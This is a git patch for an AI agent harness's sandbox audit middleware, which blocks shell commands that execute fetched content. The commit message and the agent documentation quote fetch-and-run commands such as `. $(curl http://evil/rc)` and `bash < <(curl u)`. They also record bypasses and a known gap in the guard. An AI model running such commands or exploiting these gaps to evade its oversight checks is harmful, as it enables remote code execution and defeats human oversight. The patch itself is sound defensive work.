From 8f78afe9758d59b069e60eccfd4964308c600366 Mon Sep 17 00:00:00 2001 From: Aling33 <152494711+Aling33@users.noreply.github.com> Date: Thu, 22 Oct 2026 14:49:32 +0800 Subject: [PATCH] fix(sandbox): treat the . builtin as a source execution context (#7247) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(sandbox): treat the `.` builtin as a `source` execution context The audit guard blocks a risky substitution whose output is executed and treats `eval`/`source` arguments as execution contexts wherever they appear. `.` is the POSIX spelling of `source`, but only the word `source` matched, so . $(curl http://evil/rc) . <(curl http://evil/rc) . `curl http://evil/rc` passed as value position while `source $(curl ...)` blocked. The dot branch requires a separator before it and whitespace after it, so a dot inside a filename (`report.`) or a path (`./x`) is not read as the builtin. * fix(sandbox): keep the dot builtin in command position only Review follow-up: the unanchored `. ` branch also matched a standalone dot used as a path argument (`du -sh . $(curl u)`), which is value position and must pass. Move the dot rule from the whole-command Pass 1 into the anchored `_HIGH_RISK_COMMAND_POSITION_PATTERNS`, where `_COMMAND_POSITION_PREFIX` already covers `builtin .`, `command .` and assignment prefixes, so the dot is only treated as `source` when it opens a sub-command. Verified: `du -sh . $(curl u)` passes (blocked before this commit), while `. $(curl u)`, `. <(curl u)`, the backtick form, `builtin . …` and `return && . …` still block. Docs now list `.` as command-position and keep the position-blind list at `eval`/`source`. * fix(sandbox): block stdin-redirect process substitution into a shell Review follow-up to `. < <(curl u)`: with no script argument, a shell, the dot builtin or an interpreter reads its *program* from stdin, so the process substitution it is redirected from is executed. Both forms are matched anchored in command position and only when no script argument precedes the redirect, so `bash script.sh < <(curl u)` (stdin data) still passes. Docs record the rule next to the here-string context. * fix(sandbox): restore eval/source dot contexts and widen stdin flags Review follow-up to 526fdaf: - `eval . $(curl u)` and its dot-builtin siblings were blocked by the old position-blind rule, then became pass when the dot rule moved to command position. A Pass-1 sibling now matches `eval`/`source` followed by the dot, wrappers included (`eval env . $(curl u)`). - The stdin-redirect rule consumes long and bare-dash flags again (`bash --norc < <(curl u)`, `node - < <(curl u)`). A flag whose value is the next word (`bash -o pipefail < <(curl u)`) stays a documented known gap instead of being guessed at. * fix(sandbox): decide stdin-program execution from the token list Review follow-up to a7c4a69. The stdin-redirect rule blocked three forms that never execute the fetched bytes: - `bash < <(curl u) consumer.sh` / `python3 < <(...) consumer.py` — a script operand wins, so the substitution is that script's stdin data. - `bash -n < <(curl u)` / `sh -n < ...` — noexec parses without running. - `. < <(curl u)` / `source < <(curl u)` — the dot builtin requires a filename and errors out instead of reading a program from stdin. The anchored pattern is replaced by `_stdin_program_substitution`, which checks the interpreter, its flags (shell noexec), the redirect, and whether a script operand follows the substitution. Blocked forms are unchanged: `bash < <(curl u)`, long and bare-dash flags, `env bash`, and non-shell interpreters (`perl -n`). --------- Co-authored-by: Willem Jiang --- .../deerflow/agents/middlewares/AGENTS.md | 2 +- .../middlewares/sandbox_audit_middleware.py | 72 ++++++++++++++++--- .../tests/test_sandbox_audit_middleware.py | 49 +++++++++++++ 3 files changed, 111 insertions(+), 12 deletions(-) diff --git a/backend/packages/harness/deerflow/agents/middlewares/AGENTS.md b/backend/packages/harness/deerflow/agents/middlewares/AGENTS.md index dbf11707ba..53aa87df54 100644 --- a/backend/packages/harness/deerflow/agents/middlewares/AGENTS.md +++ b/backend/packages/harness/deerflow/agents/middlewares/AGENTS.md @@ -91,7 +91,7 @@ No match: skip inspection, log ID.

Consumers pop it; the publisher and the consumer share only that contract module. -12. **SandboxAuditMiddleware** - Audits sandboxed shell/file operations before tool execution; command classification is **defense-in-depth and audit, not a security boundary** (the sandbox is the isolation boundary). Command substitution is judged by *position*, not the presence of `$(`: **command position** (`$(curl url)`, `` `curl url` ``, the word after `|`/`&&`/`;`, an `eval`/`source` argument) executes fetched content and is blocked; **value position** (`x=$(curl url)`, `echo $(curl url)`, an argument, a `for` word list) only captures output and passes (#4611). So `_HIGH_RISK_COMMAND_POSITION_PATTERNS` is matched anchored against each sub-command from `_split_compound_command(split_pipes=True)`, never the whole string; pipe-spanning rules (`| sh`, `base64 -d | ...`) still use `_classify_command`'s whole-command Pass 1. `_COMMAND_POSITION_PREFIX` extends the anchor over leading assignments and exec wrappers (`FOO=1 $(curl url)`, `env`/`command`/`builtin`/`exec`/`nohup`/`time`/`sudo`/`doas`); its assignment branch requires whitespace before the substitution, which keeps `x=$(curl url)` in value position. Two contexts are deliberately **position-blind** (matched whole-command in Pass 1, since they execute their input anywhere, e.g. `xargs sh -c "$(curl url)"`): an `eval`/`source` argument, and an interpreter **code-string flag** — `-c` (shells, `python`), `-e` (`perl`/`ruby`/`node`), `-p` (`perl`/`node`), `-r` (`php`) — plus the here-string (`<<<`) reaching the same place via stdin. All three substitution spellings (`$(`, `<(`, `` ` ``) share one `_RISKY_SUBSTITUTION` opener. An unquoted newline splits like `;` (else `echo hi\n$(curl url)` evades the anchored rules). Heredoc bodies are data: `_split_compound_command` records headers (`<
